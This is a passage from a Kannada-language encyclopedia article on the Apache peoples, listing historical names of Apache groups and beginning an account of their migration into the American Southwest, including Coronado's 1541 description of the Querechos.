ಪಿನಾಲೆನೋಸ್, ಚಿರಿಕಾಹುಆಗಳು ಮತ್ತು ಅಪಾಚೆಯವರು ಅಲ್ಲದ ಯವಾಪೈಗಳಿಗೂ ಬಳಸಲಾಯಿತು. (ಆಗ ''ಗಾರೋಟೆರೋಸ್'' ಅಥವಾ ''ಯಬಿಪೈಸ್ ಗಿಲೆನೋಸ್'' ಎಂದೂ ತಿಳಿಯಲಾಯಿತು) ಇನ್ನೊಂದು ಸ್ಪ್ಯಾನಿಶ್ ಪ್ರಯೋಗ (''ಪಿಮಾಸ್ ಗಿಲೆನೋಸ್'' ಮತ್ತು ''ಪಿಮಾಸ್ ಸಿಲೆನೋಸ್'' ಜೊತೆಗೆ) ಅಪಾಚೆಯವರು ಅಲ್ಲದ ಗಿಲಾ ನದಿ ದಂಡೆಯಲ್ಲಿ ವಾಸಿಸುವ ಪಿಮಾದವರಿಗೂ ಬಳಕೆಯಾಯಿತು. *'''ಜಿಕಾರಿಲ್ಲಾ''' (ಸ್ಪ್ಯಾನಿಶ್್ ಅರ್ಥ "ಚಿಕ್ಕ ಬುರುಡೆ"). ಜಿಕಾರಿಲ್ಲಾ ಅಪಾಚೆ ಏಳು ಪ್ರಮುಖ ಅಪಾಚೆಯವರ ಗುಂಪುಗಳಲ್ಲಿ ಒಂದು ಮತ್ತು ಇವರು ಸದ್ಯ ಉತ್ತರ ನ್ಯೂ ಮೆಕ್ಸಿಕೋ, ದಕ್ಷಿಣದ ಕೊಲೋರೆಡೋ ಮತ್ತು ಟೆಕ್ಸಾಸ್ ಪನ್ಹಾಂಡೆಲ್್ಗಳಲ್ಲಿ ವಾಸಿಸುತ್ತಿದ್ದಾರೆ. *'''ಕಿಯೋವಾ-ಅಪಾಚೆ''' . ನೋಡಿ ''ಬಯಲು ಅಪಾಚೆ'' . *'''ಲಾನೆರೋ''' ಸ್ಪ್ಯಾನಿಶ್್ನಿಂದ ತಂದ ಪದ, ಅರ್ಥ "ಬಯಲಿನಲ್ಲಿ ವಾಸಿಸುವವರು". ಬಯಲುಗಳಲ್ಲಿ ಕೆಲವು ಶ್ರಾಯಗಳಲ್ಲಿ ಎಮ್ಮೆಗಳನ್ನು ಬೇಟೆಯಾಡುವ ವಿವಿಧ ಗುಂಪುಗಳನ್ನು ಉಲ್ಲೇಖಿಸಲು ಐತಿಹಾಸಿಕವಾಗಿ ಈ ಪದವನ್ನು ಬಳಸುತ್ತಿದ್ದಾರೆ. ಮತ್ತು ಪೂರ್ವದ ನ್ಯೂ ಮೆಕ್ಸಿಕೋ ಮತ್ತು ಪಶ್ಚಿಮದ ಟೆಕ್ಸಾಸ್್ನಲ್ಲಿಯೂ ಇದನ್ನು ಉಲ್ಲೇಖಿಸುವರು. (ಇದನ್ನೂ ನೋಡಿ ''ಕಾರ್ಲಾನಸ್'' .) * '''ಲಿಪಿಯಾನ್ಸ್''' (''ಲಿಪಿಯನ್'' , ''ಲಿಪಿಲ್ಲನ್ಸ್'' ಕೂಡ). ಅನಿಶ್ಚಿತ ಪದ, ಬಹುಶಃ ಅಥಾಬಾಸ್ಕನ್ ಮೂಲದ್ದು ಇರಬಹುದು, ಇದು ''ಲನೆರೋ'' ಅಥವಾ ''ನಟಾಜೆಸ್'' ಪದದ ಸಾದೃಶ್ಯ ಸಂಬಂಧ ಹೊಂದಿರಬಹುದು. ಈ ಪದ ''ಲಿಪಾನ್'' ಪದದೊಂದಿಗೆ ಗೊಂದಲ ಹುಟ್ಟಿಸುವುದಿಲ್ಲ. *'''ಲಿಪಾನ್''' ( ''ಯಪಂಡಿಸ್'' , ''ಬಪೆಂಡೇಸ್'' , ''ಇಂಪಾಂಡೆಸ್'' , ''ಇಪಾಂಡಿ'' , ''ಲಿಪಾನೆಸ್'' , ''ಲಿಪಾನೋಸ್'' , ''ಲಿಪೈನೆಸ್'' , ''ಲಿಪಾನೆ'' , ''ಲಿಪಾನಿಸ್'' , ಇತ್ಯಾದಿ ಕೂಡ.). 7 ಪ್ರಮುಖ ಅಪಾಚಿಯನ್ ಗುಂಪುಗಳಲ್ಲಿ ಒಂದು ಒಂದು ಕಾಲದಲ್ಲಿ ಪೂರ್ವ ನ್ಯೂ ಮೆಕ್ಸಿಕೋ ಮತ್ತು ಆಗ್ನೇಯದಲ್ಲಿ ಟೆಕ್ಸಾಸ್್ನಿಂದ ಮೆಕ್ಸಿಕೋ ಕೊಲ್ಲಿಯ ವರೆಗೆ ಇದ್ದರು. ''ಲಿಪಿಯಾನೆಸ್'' ಅಥವಾ ''ಲೆ ಪನಿಸ್ '' ( ಫ್ರೆಂಚ್್ನ ಪಾವ್ನಿ)ಗೆ ಜೊತೆ ಈ ಪದ ಗೊಂದಲ ಮೂಡಿಸಬಾರದು. ಟೆಕ್ಸಾಸ್್ನಲ್ಲಿ ಹೊಸದಾಗಿ ಸ್ಥಾಪನೆಯಾದ ಪಟ್ಟಣ ಸಾನ್ ಅಟಾನಿಯೋ ಸುತ್ತಮುತ್ತ 1718ರಲ್ಲಿ ಮೊದಲ ಬಾರಿಗೆ ಉಲ್ಲೇಖಗೊಂಡಿತು. *'''ಮೆಸ್ಕೆಲೆರೋ''' . 7 ಪ್ರಮುಖ ಅಪಾಚಿಯನ್ ಗುಂಪುಗಳಲ್ಲಿ ಮೆಸ್ಕೆಲೆರೋ ಒಂದು. ಈಗಿನ ಪೂರ್ವ ನ್ಯೂ ಮೆಕ್ಸಿಕೋ ಮತ್ತು ಪಶ್ಚಿಮದ ಟೆಕ್ಸಾಸ್್ನಲ್ಲಿ ಸಾಮಾನ್ಯವಾಗಿ ವಾಸಿಸುತ್ತಾರೆ. *'''ಮಿಂಬ್ರೆನೋಸ್''' ಓಪ್ಲರ್ ಅವರ ''ಪೂರ್ವದ ಚಿರಿಕಹುಆ '' ಗುಂಪಿನ ಒಂದು ವರ್ಗವನ್ನು ಸೂಚಿಸುವ ಮತ್ತು ಆಲ್ಬರ್ಟ್ ಶ್ರೋಡರ್ ಅವರ ''ಮಿಂಬ್ರೆಸ್'' ಮತ್ತು ಆಗ್ನೇಯ ಮೆಕ್ಸಿಕೋದಲ್ಲಿ ''ವಾರ್ಮ್ ಸ್ಪ್ರಿಂಗ್ಸ್'' ಅವರ ಚಿರಿಕಹುಆ ಗುಂಪನ್ನು<ref>ಓಪ್ಲರ್ ಮೂರು ಚಿರಿಕಹುಓ ಗುಂಪುಗಳನ್ನು ಪಟ್ಟಿಮಾಡಿದರೆ ಶ್ರೋಡರ್ ಐದನ್ನು ಪಟ್ಟಿ ಮಾಡುವರು.</ref> ಸೂಚಿಸುವ ಹಳೆಯ ಹೆಸರುಗಳಲ್ಲಿ ಇದು ಒಂದು. *'''ಮೊಗೋಲ್ಲೋನ್''' ವನ್ನು ಶ್ರೋಡರ್ ಪ್ರತ್ಯೇಕ ಮೀಸಲು ಪೂರ್ವದ ಚಿರಿಕಹುಆ ಗುಂಪು ಎಂದು ಪರಿಗಣಿಸಿದ್ದಾರೆ. ಆದರೆ ಓಪ್ಲೆರ್ ಮೊಗೋಲ್ಲೋನ್ ನ್ಯೂ ಮೆಕ್ಸಿಕೋದಲ್ಲಿರುವ ತಮ್ಮ ''ಪೂರ್ವದ ಚಿರಿಕಹುಆ'' ಗುಂಪಿನ ಭಾಗ ಎಂದು ಪರಿಗಣಿಸುತ್ತಾರೆ. *'''ನಜ್ಜ್್ಶಾ''' (''ನಯೆಶಾ'' , ''ನಇಶಾ'' , ''ನಾ ಇಶಾ'' , ''ನ ಇಶಾಂಡಿನೆ'' , ''ನ-ಇ-ಶಾ-ದಿನ'' , ''ನ-ಇಶಿ'' , ''ನ-ಎ-ಕ'' , ''ನʼiಇಸ್ಕ್'' , ''ನಡೀಚಾ'' , ''ನರ್ಡಿಚಿಯಾ'' , ''ನಡಿಶಾ-ಡೆನಾ'' , ''ನʼಡಿʼಇಸ್ಕ್ʼ'' , ''ನಡಿʼಜಶಾ'' , ''ನೈಶಾ'' ಕೂಡ) ಎಲ್ಲವೂ ಬಯಲು ಅಪಾಚೆ ಬಗ್ಗೆ ಹೇಳುವುದು (ಕಿಯೋವಾ ನೋಡಿ). *'''ನಟಾಜೆಸ್''' (''ನಟಾಗೀಸ್'' , ''ಅಪಾಚೆಸ್ ಡೆಲ್ ನಟಾಫೆ '' , ''ನಟಾಜಿಸ್'' , ''ಯಬಿಪೈಸ್ ನಟಾಜೆ'' , ''ನಟಾಜೆಸೆಸ್'' , ''ನಟಾಜೆಸ್'' ಕೂಡ). ಆಗ್ನೇಯ ನ್ಯೂ ಮೆಕ್ಸಿಕೋದ ಫರೋನ್, ಸಿಯೆರ್ರಾ ಬ್ಲಾಂಕಾ ಮತ್ತು ಸಿಯೆಟೆ ರಿಯೋಸ್ ಅಪಾಚಿಗಳನ್ನು ಉಲ್ಲೇಖಿಸಲು ಈ ಪದವನ್ನು 1726-1820ರಲ್ಲಿ ಬಳಸಲಾಯಿತು. ನಟಾಜಿಸ್್ಗಳು ಮೆಸ್ಕೆಲೆರೋಸ್ ( ಎಲ್ ಪಾಸೋ ಮತ್ತು ಆರ್ಗನ್ ಪರ್ವತಗಳ ಸುತ್ತಮುತ್ತ) ಮತ್ತು ಸಾಲಿನೆರೋಸ್್ಗಳಿಂದ (ರಿಯೋ ಸಲಾಡೋ ಸುತ್ತಮುತ್ತ) ಆಗಿರಬಹುದು ಎಂದು 1745ರಲ್ಲಿ ವರದಿಯಾಗಿದೆ. ಆದರೆ ಇವು ಬಹುಶಃ ಒಂದೇ ಗುಂಪಿಗೆ ಸೇರಿದವು. 1749ರ ಬಳಿಕ ಈ ಪದವನ್ನು ''ಮೆಸ್ಕಲೆರೋ'' ಜೊತೆ ಸಮಾನಾರ್ಥಕವಾಗಿ ಬಳಸಲಾಯಿತು. ಅಕ್ಷರಶಃ ಇದು ಆ ಪದವನ್ನು ತೊಡೆದುಹಾಕಿತು. *'''ನವಾಜೋ''' . 7 ಪ್ರಮುಖ ಅಪಾಚಿಯನ್ ಗುಂಪುಗಳಲ್ಲಿ ಅತಿ ಹೆಚ್ಚು ಸಂಖ್ಯೆಯಲ್ಲಿರುವವರು. ಸಾಮಾನ್ಯ ಆಧುನಿಕ ಪ್ರಯೋಗವು ನವಾಜೋ ಜನರನ್ನು ಅಪಾಚಿಗಳಿಂದ ಪ್ರತ್ಯೇಕಿಸುತ್ತದೆ. * '''ಪಿನಲ್''' (''ಪಿನಲೆನೋಸ್'' ಕೂಡ). ಗುಡ್ವಿನ್್ನ ಪಶ್ಚಿಮ ಅಪಾಚೆಯ ಸಾನ್ ಕಾರ್ಲೋಸ್ ಗುಂಪಿನ ಒಂದು ಪಡೆ ಇದು. ಪಶ್ಚಿಮ ಅಪಾಚೆಯ ಎರಡು ಪ್ರಮುಖ ವಿಭಾಗಗಳಲ್ಲಿ ಹೆಚ್ಚು ಸಾಮಾನ್ಯವಾಗಿ ಇದನ್ನು ಹೆಸರಿಸಲು ''ಕೋಯೋಟೆರೋ'' ಜೊತೆಯಲ್ಲಿಯೂ ಇದನ್ನು ಬಳಸುವರು. ''ಕೆಲವು ಪಿನಾಲೆನೋಗಳನ್ನು ಗಿಲಾ ಅಪಾಚೆಗಳೆಂದೂ ಉಲ್ಲೇಖಿಸುವರು.'' * '''ಬಯಲು ಅಪಾಚೆ''' . ಬಯಲು ಅಪಾಚೆ ( ''ಕಿಯೋವಾ- ಅಪಾಚೆ'' , ''ನೈಶಾ'' , ''ನಇಶಾನ್ಡಿನೆ'' ಎಂದೂ ಕರೆಯುತ್ತಾರೆ.) 7 ಪ್ರಮುಖ ಅಪಾಚಿಯನ್ ಗುಂಪುಗಳಲ್ಲಿ ಒಂದು. ಸಾಮಾನ್ಯವಾಗಿ ಈಗ ಓಕ್ಲಹಾಮಾದಲ್ಲಿ ವಾಸಿಸುತ್ತಿದ್ದಾರೆ. ಐತಿಹಾಸಿಕ ಕಾಲಗಳಲ್ಲಿ ಅವರು (ಸಂಬಂಧಪಡದ) ಕಿಯೋವಾಗಳ ಜೊತೆಗೆ ಬದುಕುತ್ತಿದ್ದುದು ಕಂಡಿದೆ. ಉತ್ತರ ಅಮೆರಿಕದ ಬಯಲುಗಳಲ್ಲಿ ಯಾವುದೇ ಸಂಭಾವ್ಯ ಅಪಾಚಿಯನ್ ಬುಡಕಟ್ಟಿನವರು ಕಂಡುಬಂದರೆ ಅಥವಾ (ಸಾಮಾನ್ಯವಾಗಿ ಸಾಂಸ್ಕೃತಿಕವಾಗಿ) ಜೊತೆಯಾಗಿದ್ದರೆ ಅವರನ್ನು ಉ್ಲೇಖಿಸುವುದಕ್ಕೂ ಈ ಪದವನ್ನು ಬಳಸುತ್ತಿದ್ದರು. * '''ರಾಮ್ಹ್''' . ನವಾಜೋಗಳ ಒಂದು ಗುಂಪು. ಸದ್ಯ ನ್ಯೂ ಮೆಕ್ಸಿಕೋದ ರಾಮ್ಹ್ ನವಾಜೋ ಇಂಡಿಯನ್ ರಿಸರ್ವೇಶನ್್ನಲ್ಲಿ ವಾಸಿಸುತ್ತಿದೆ. (''ರಾಮ್ಹ್ ನ್ಯೂ ಮೆಕ್ಸಿಕೋಗೆ ನವಾಜೋ ಹೆಸರು'' ''Tłʼohchiní ಟಿಯೋಚಿನಿ'' ಅರ್ಥ "ಕಾಡು ಈರುಳ್ಳಿ ಸ್ಥಳ"). * '''ಕ್ವೆರೆಚೋಸ್''' 1541ರಲ್ಲಿ ಕೊರೋನಡೋ ಉಲ್ಲೇಖಿಸಿದರು. ಬಯಲು ಅಪಾಚೆಗಳಾಗಿರುವ, ಕೆಲವು ವೇಳೆ ನವಾಜೋ ಆಗಿರಬಹುದಾದ ಸಾಧ್ಯತೆಗಳಿವೆ. ಸ್ಪ್ಯಾನಿಶ್್ನಲ್ಲಿ ಆರಂಭದಲ್ಲಿ ವಾಕ್ವೆರಿಯೋ ಅಥವಾ ಲನೆರೋ ಎಂದೂ ಕರೆದಿರಬಹುದು. * '''ಸಾನ್ ಕಾರ್ಲೋಸ್''' . ಇದೊಂದು ಪಶ್ಚಿಮ ಅಪಾಚೆ ಗುಂಪು. ಗುಡ್ವಿನ್ ಪ್ರಕಾರ ಇವರು ಟಕ್ಸನ್್ಗೆ ಅತಿ ಹತ್ತಿರದಲ್ಲಿದ್ದಾರೆ. ಈ ಗುಂಪು ಅಪಾಚೆ ಪೀಕ್ಸ್, ಅರಿವೈಪಾ, ಪಿನಾಲ್, ಸಾನ್ ಕಾರ್ಲೋಸ್ (ಶುದ್ಧಾಂಗ) ಗುಂಪುಗಳನ್ನು ಒಳಗೊಂಡಿದೆ. * '''ಟೋಂಟೋ''' . ಗುಡ್ವಿನ್ ಉತ್ತರದ ಟೋಂಟೋ ಮತ್ತು ದಕ್ಷಿಣದ ಟೋಂಟೋ ಎಂದು ಈ ಗುಂಪನ್ನು ವಿಭಾಗಿಸಿದ. ಗುಡ್ವಿನ್ ಪ್ರಕಾರ ಪಶ್ಟಿಮ ಅಪಾಚೆ ಗುಂಪುಗಳು ಉತ್ತರ ಮತ್ತು ಪಶ್ಚಿಮ ಪ್ರದೇಶದಲ್ಲಿ ವಾಸಿಸುತ್ತವೆ. ಇದು ಫೋನಿಕ್ಸ್್ನ ಉತ್ತರಕ್ಕೆ ಮತ್ತು ವರ್ದೆ ನದಿಯ ಉತ್ತರಕ್ಕೆ. ಟೋಂಟೋಗಳು ಮೂಲತಃ ಯವಾಪೈಗಳು. ಅವರು ಪಶ್ಟಿಮ ಅಪಾಚೆ ಸಂಸ್ಕೃತಿಯನ್ನು ತಮ್ಮದನ್ನಾಗಿ ಮಾಡಿಕೊಂಡಿದ್ದಾರೆ ಎಂದು ಶ್ರೋಡರ್ ಸೂಚಿಸುತ್ತಾರೆ. ಪಶ್ಟಿಮ ಅಪಾಚೆ ಭಾಷೆಯಲ್ಲಿ ಟೋಂಟೋ ಒಂದು ಪ್ರಮುಖ ಉಪಭಾಷೆ. ಟೊಂಟೋ ಅಫಾಚೆಯನ್ನು ಮಾತನಾಡುವವರು ಸಾಂಪ್ರದಾಯಿಕವಾಗಿ ಪಶ್ಟಿಮ ಅಪಾಚೆ ಮತ್ತು ಯವಾಪೈಗಳಲ್ಲಿ ದುಭಾಷಿಗಳಾಗಿರುತ್ತಾರೆ. ಗುಡ್ವಿನ ಅವರ ಉತ್ತರದ ಟೋಂಟೋದಲ್ಲಿ ಬಾಲ್ಡ್ ಮೌಂಟೇನ್, ಫಾಸಿಲ್್ ಕ್ರೀಕ್, ಮೊರ್ಮನ್ ಲೇಕ್ ಮತ್ತು ಓಕ್ ಕ್ರೀಕ್ ಗುಂಪುಗಳು ಸೇರಿವೆ. ದಕ್ಷಿಣ ಟೋಂಟೋದಲ್ಲಿ ಮಝಾತ್ಜಲ್ ಗುಂಪು ಮತ್ತು ಗುರುತಿಸಿಲ್ಲದ "ಉಪ-ಗುಂಪು"ಗಳಿವೆ. * '''ವಾರ್ಮ್ ಸ್ಪ್ರಿಂಗ್ಸ್''' ನ್ಯೂ ಮೆಕ್ಸಿಕೋದ ಗಿಲಾ ನದಿಯ ಒಳನಾಡಿನಲ್ಲ್ಲಿ ವಾಸಿಸುತ್ತಾರೆ. (''ಗಿಲೆನೋ'' ಮತ್ತು ''ಮಿಂಬ್ರೆನೋಗಳನ್ನೂ'' ನೋಡಿ.) * '''ಪಶ್ಟಿಮ ಅಪಾಚೆ''' . ಅತ್ಯಂತ ಸಾಮಾನ್ಯ ಅರ್ಥದಲ್ಲಿ ಉತ್ತರದ ಟೋಂಟೋ, ದಕ್ಷಿಣದ ಟೋಂಟೋ, ಸಿಬೆಕ್ಯು, ವೈಟ್ ಮೌಂಟೇನ್ ಮತ್ತು ಸಾನ್ ಕಾರ್ಲೋಸ್ ಗುಂಪನ್ನು ಒಳಗೊಂಡಿದೆ. ಈ ಉಪಗುಂಪುಗಳು ಒಂದೇ ಭಾಷೆಯನ್ನು ಆಡುತ್ತವೆ ಮತ್ತು ರಕ್ತ ಸಂಬಂಧದ ಬಂಧನ ಹೊಂದಿವೆ. ಪಶ್ಟಿಮ ಅಪಾಚೆಗಳು ಗುಡ್ವಿನ್ ಪ್ರಕಾರ ತಮ್ಮಷ್ಟಕ್ಕೆ ತಾವು ಪ್ರತಿಯೊಬ್ಬರಿಂದ ಪ್ರತ್ಯೇಕ ಎಂದು ಪರಿಗಣಿಸಿಕೊಳ್ಳುತ್ತಾರೆ. ಇತರ ಲೇಖಕರು ರಿಯೋ ಗ್ರಾಂಡೆ ಪಶ್ಚಿಮಕ್ಕೆ ಬದುಕುವ ನವಾಜೋ ಅಪಾಚೆಯವರು ಅಲ್ಲದ ಎಲ್ಲರನ್ನು ಸೂಚಿಸಲು ಈ ಪದವನ್ನು ಬಳಸಿದರು. (ಈಮೂಲಕ ಇತರ ಅಪಾಚೆಯವರಿಂದ ಚಿರಿಕಹುಆವನ್ನು ಪ್ರತ್ಯೇಕವಾಗಿಸಲು ವಿಫಲರಾದರು. ಗುಡ್ವಿನ್ ಅವರ ಸೂತ್ರ: "ಇತಿಹಾಸ ಕಾಲದಿಂದಲೂ ಅರಿಜೋನಾದ ಈಗಿನ ಗಡಿಗಳ ಒಳಗೆ ಬದುಕುತ್ತಿರುವ ಎಲ್ಲರೂ ಅಪಾಚೆ ಜನರು. ಇದಕ್ಕೆ ಅಪವಾದ ಚಿರಿಕಹುಆ, ವಾರ್ಮ್ ಸ್ಪ್ರಿಂಗ್ಸ್, ಮತ್ತು ಒಟ್ಟು ಸೇರಿದ ಅಪಾಚೆಗಳು ಮತ್ತು ಮಾನ್ಸೋಸ್ ಎಂದು ಕರೆಯುವ ಟುಕ್ಸನ್ ಸಮೀಪ ವಾಸಿಸುವ ಅಪಾಚೆಗಳ ಸಣ್ಣ ಗುಂಪುಗಳು."<ref>{0/ಗುಡ್ವಿನ್, ಪುಟ.55</ref> * '''ವೈಟ್ ಮೌಂಟೇನ್''' . ಗುಡ್ವಿನ್ ಪ್ರಕಾರ ಪಶ್ಟಿಮ ಅಪಾಚೆಯ ಪೂರ್ವದ ಕೊನೆಯ ಗುಂಪು. ಇದರಲ್ಲಿ ಪೂರ್ವದ ವೈಟ್ ಮೌಂಟೇನ್ ಮತ್ತು ಪಶ್ಚಿಮದ ವೈಟ್ ಮೌಂಟೇನ್ ಸೇರಿವೆ. == ಇತಿಹಾಸ == === ನೈಋತ್ಯಕ್ಕೆ ಪ್ರವೇಶ === ಉತ್ತರ ಅಮೆರಿಕದ ನೈಋತ್ಯಕ್ಕೆ ಇರುವ '''ಅಪಾಚೆ''' ಮತ್ತು '''ನವಾಜೋ''' (ಡಿನೆ) ಬುಡಕಟ್ಟು ಗುಂಪುಗಳು ಒಂದಕ್ಕೊಂದು ಸಂಬಂಧವಿರುವ ಭಾಷಿಕ ಕುಟುಂಬದ ಭಾಷೆಗಳನ್ನು ಮಾತನಾಡುತ್ತವೆ. ಇದಕ್ಕೆ ಅಥಾಬಾಸ್ಕನ್ ಎನ್ನುವರು. ಉತ್ತರ ಅಮೆರಿಕದಲ್ಲಿ ಅಥಾಬಾಸ್ಕನ್ ಮಾತನಾಡುವ ಇತರ ಜನರು ಅಲಾಸ್ಕಾದಿಂದ ಪಶ್ಟಿಮ ಕೇಂದ್ರ ಕೆನಡಾ ವರೆಗೆ ಮತ್ತು ಕೆಲವು ಗುಂಪುಗಳು ವಾಯವ್ಯ ಪೆಸಿಫಿಕ್ ಕರಾವಳಿಯ ಉದ್ದಕ್ಕೂ ಕಾಣಬಹುದು. ಈ ಭಾಷಿಕ ಸಾಮ್ಯತೆಗಳು ನವಾಜೋ ಮತ್ತು ಅಪಾಚೆಗಳು ಒಂದುಕಾಲದಲ್ಲಿ ಒಂದೇ ಜನಾಂಗಿಕ ಗುಂಪು ಎನ್ನುವುದನ್ನು ಸೂಚಿಸುತ್ತವೆ. ಕ್ರಿ.ಶ. 1000ದ ನಂತರ ಅಮೆರಿಕದ ನೈಋತ್ಯಕ್ಕೆ ದಕ್ಷಿಣದ ಅಥಾಬಾಸ್ಕನ್ ಪ್ರವೇಶವಾಯಿತು ಎಂಬುದನ್ನು ಪುರಾತತ್ವ ಮತ್ತು ಐತಿಹಾಸಿಕ ಪುರಾವೆಗಳು ಸೂಚಿಸುತ್ತವೆ. ಅವರ ಅಲೆಮಾರಿ ಬದುಕಿನ ರೀತಿ ನಿರ್ದಿಷ್ಟ ಕಾಲವನ್ನು ಅರಿಯುವಲ್ಲಿ ತೊಡಕಾಗಿದೆ. ಪ್ರಾಥಮಿಕವಾಗಿ ಅವರು ಇತರ ನೈಋತ್ಯ ಗುಂಪುಗಳಿಗಿಂತ ಕಡಿಮೆ ಬಂದೋಬಸ್ತಿನ ಮನೆಗಳನ್ನು ನಿರ್ಮಿಸುತ್ತಿದ್ದರು.<ref>ಕೋರ್ಡೆಲ್, ಪುಟ. 148</ref> ಹೀಗಿದ್ದರೂ ಇತ್ತೀಚಿನ ವರ್ಷಗಳಲ್ಲಿ ಕಾಲ ನಿರ್ಣಯ ಮತ್ತು ಅವರ ನಿವಾಸಗಳನ್ನು ಹಾಗೂ ಭೌತಿಕ ಸಂಸ್ಕೃತಿಯ ರೂಪಗಳನ್ನು ಗುರುತಿಸುವಲ್ಲಿ ಸಾಕಷ್ಟು ಪ್ರಗತಿಯನ್ನು ಸಾಧಿಸಲಾಗಿದೆ<ref>ಸೇಮೌರ್ 2004, 2009ಎ, 2009ಬಿ, 2010</ref>. ಅವರು ಕೂಡ ಹೆಚ್ಚು ಆಡಂಬರವಿಲ್ಲದ ಸಾಧನಗಳನ್ನು ಮತ್ತು ಭೌತಿಕ ವಸ್ತುಗಳನ್ನು ಬಿಟ್ಟುಹೋಗಿದ್ದಾರೆ. ಬಹುಶಃ ಈ ಗುಂಪು ಸಮಕಾಲೀನ ವಸತಿ ಪ್ರದೇಶಗಳಲ್ಲಿ ನೆಲೆಯಾಗಿರಬೇಕು ಅಥವಾ ಇತರ ಸಂಸ್ಕೃತಿಯವರು ಅಥವಾ ಇತ್ತೀಚಿನ ದಿನಗಳಲ್ಲಿ ಇತರ ಸಂಸ್ಕೃತಿಗಳಿಗೆ ವಶವಾಗಿರಬಹುದು. ಬಹುಶಃ ದಕ್ಷಿಣದ ಅಥಾಬಾಸ್ಕನ್ ಸೇರಿದಂತೆ ಅಥಾಬಾಸ್ಕನ್ ಮಾತನಾಡುವ ಇತರರು ತಮ್ಮ ಸ್ವಂತ ಸಂಸ್ಕೃತಿಯಲ್ಲಿ ತಮ್ಮ ನೆರೆಯವರ ತಂತ್ರಜ್ಞಾನ ಮತ್ತು ಆಚರಣೆಗಳನ್ನು ಅಳವಡಿಸಿಕೊಂಡಿದ್ದಾರೆ. ಹೀಗಾಗಿ ಆರಂಭದ ದಕ್ಷಿಣದ ಅಥಾಬಾಸ್ಕನ್ನರು ಬದುಕಿದ್ದ ಸ್ಥಳಗಳನ್ನು ಪತ್ತೆಮಾಡುವುದು ಕಷ್ಟ. ಅಮೆರಿಕದ ನೈಋತ್ಯದ ದಕ್ಷಿಣ ಭಾಗದಲ್ಲಿ ಇತ್ತೀಚಿನ ದಿನಗಳಲ್ಲಿ ಸಾಕಷ್ಟು ಪ್ರಗತಿಯನ್ನು ಸಾಧಿಸಿದ್ದರೂ ಸಾಂಸ್ಕೃತಿಕವಾಗಿ ದಕ್ಷಿಣದ ಅತಾಬಾಸ್ಕನ್ನರನ್ನು ನಿರ್ದಿಷ್ಟವಾಗಿ ಗುರುತಿಸುವುದು ಇನ್ನೂ ಹೆಚ್ಚು ಕಷ್ಟವಾಗಿದೆ. ಅಪಾಚೆಯವರ ವಲಸೆಗೆ ಸಂಬಂಧಸಿದಂತೆ ಅನೇಕ ಊಹೆಗಳಿವೆ. ದೊಡ್ಡ ಬಯಲಿನಿಂದ (ಗ್ರೇಟ್ ಪ್ಲೇನ್ಸ್) ಅವರು ನೈಋತ್ಯಕ್ಕೆ ಚಲಿಸಿದರು ಎಂದು ಒಬ್ಬರು ಊಹಿಸುತ್ತಾರೆ. 16ನೆ ಶತಮಾನದ ಆರಂಭದಲ್ಲಿ ಈ ಚಲಿಸುವ ಗುಂಪುಗಳು ಟೆಂಟುಗಳಲ್ಲಿ ವಾಸಿಸುತ್ತಿದ್ದವು. ಕಾಡೆತ್ತುಗಳನ್ನು ಬೇಟೆಯಾಡುವುದು ಮತ್ತು ಇತರ ಆಟಗಳನ್ನು ಆಡುತ್ತಿದ್ದರು. ತಮ್ಮ ಸಾಮಾನುಗಳ ಗಾಡಿ(ಟ್ರಾವೈಸ್)ಯನ್ನು ಎಳೆಯುವುದಕ್ಕೆ ನಾಯಿಯನ್ನು ಬಳಸುತ್ತಿದ್ದರು. 16ನೆ ಶತಮಾನದಲ್ಲಿ ಸಾಕಷ್ಟು ಸಂಖ್ಯೆಯಲ್ಲಿ ಮತ್ತು ವಿಶಾಲ ಶ್ರೇಣಿಯಲ್ಲಿ ಸ್ಪ್ಯಾನಿಶ್ ಜನರು ದಾಖಲಿಸಿದ್ದಾರೆ. [[ಚಿತ್ರ:Coronado expedition.jpg|thumb|500px|ದ ಕೊರೊನಡೊ ಎಕ್ಸ್ ಪೆಡಿಶನ್ 1540–1542]] ” 1541ರ ಏಪ್ರಿಲ್ ನಲ್ಲಿ ಪುಯೆಬ್ಲೋ ಪ್ರದೇಶದ ಪೂರ್ವದ ಬಯಲಿನಲ್ಲಿ ಫ್ರಾನ್ಸಿಸ್ಕೋ ಕೊರೋನಾಡೋ ಪ್ರಯಾಣ ಮಾಡುತ್ತಿದ್ದಾಗ ಇವರನ್ನು " ಡಾಗ್ (ನಾಯಿ) ನೊಮಾಡ್ಸ್ (ಅಲೆಮಾರಿಗಳು)" ಎಂದು ಕರೆದರು. ಈ ಕುರಿತು ಅವನು ಹೀಗೆ ಬರೆದ: :''ಹದಿನೇಳು ದಿನಗಳ ಪ್ರವಾಸದ ಬಳಿಕ ಈ ಪಶು (ಕಾಡೆತ್ತು)ಗಳನ್ನು ಬೆಂಬತ್ತುವ ಇಂಡಿಯನ್ನರ ಕಡು ದ್ವೇಷವನ್ನು ಕಂಡೆನು. '' ''ಈ ಮೂಲನಿವಾಸಿಗಳನ್ನು ಕ್ವೆರೆಚೋಸ್ ಎಂದು ಕರೆಯುತ್ತಾರೆ. '' ''ಅವರು ಭೂಮಿಯನ್ನು ಕೃಷಿ ಮಾಡುವುದಿಲ್ಲ. ಆದರೆ ಹಸಿ ಮಾಂಸವನ್ನು ತಿನ್ನುತ್ತಾರೆ ಮತ್ತು ತಾವು ಕೊಂದ ಪಶುವಿನ ರಕ್ತವನ್ನು ಕುಡಿಯುತ್ತಾರೆ. '' ''ಅವರು ಪಶುವಿನ ಚರ್ಮದ ಉಡುಪನ್ನು ತೊಡುತ್ತಾರೆ, ಆ ಪ್ರದೇಶದಲ್ಲಿ ವಾಸಿಸುವ ಅವರೆಲ್ಲರೂ ಪ್ರಾಣಿಯ ಚರ್ಮದ ಉಡುಪನ್ನೇ ಧರಿಸುವುದು. ಮತ್ತು ಉಡುಪನ್ನು ತಾವೇ ತಯಾರಿಸಿಕೊಳ್ಳುವರು. ಅವರು ಚೆನ್ನಾಗಿ ನಿರ್ಮಿಸಿಕೊಂಡ ಟೆಂಟುಗಳನ್ನು ಹೊಂದಿದ್ದಾರೆ. ಹದಮಾಡಿ ಕಂದುಬಣ್ಣಕ್ಕೆ ತಂದ ಮತ್ತು ಗ್ರೀಸ್ ಹಚ್ಚಿದ ಆಕಳ ಚರ್ಮದಿಂದ ಅದನ್ನು ನಿರ್ಮಿಸಿರುತ್ತಾರೆ. ಅದರಲ್ಲಿ ಅವರು ವಾಸಿಸುತ್ತಾರೆ. ಪಶುವನ್ನು 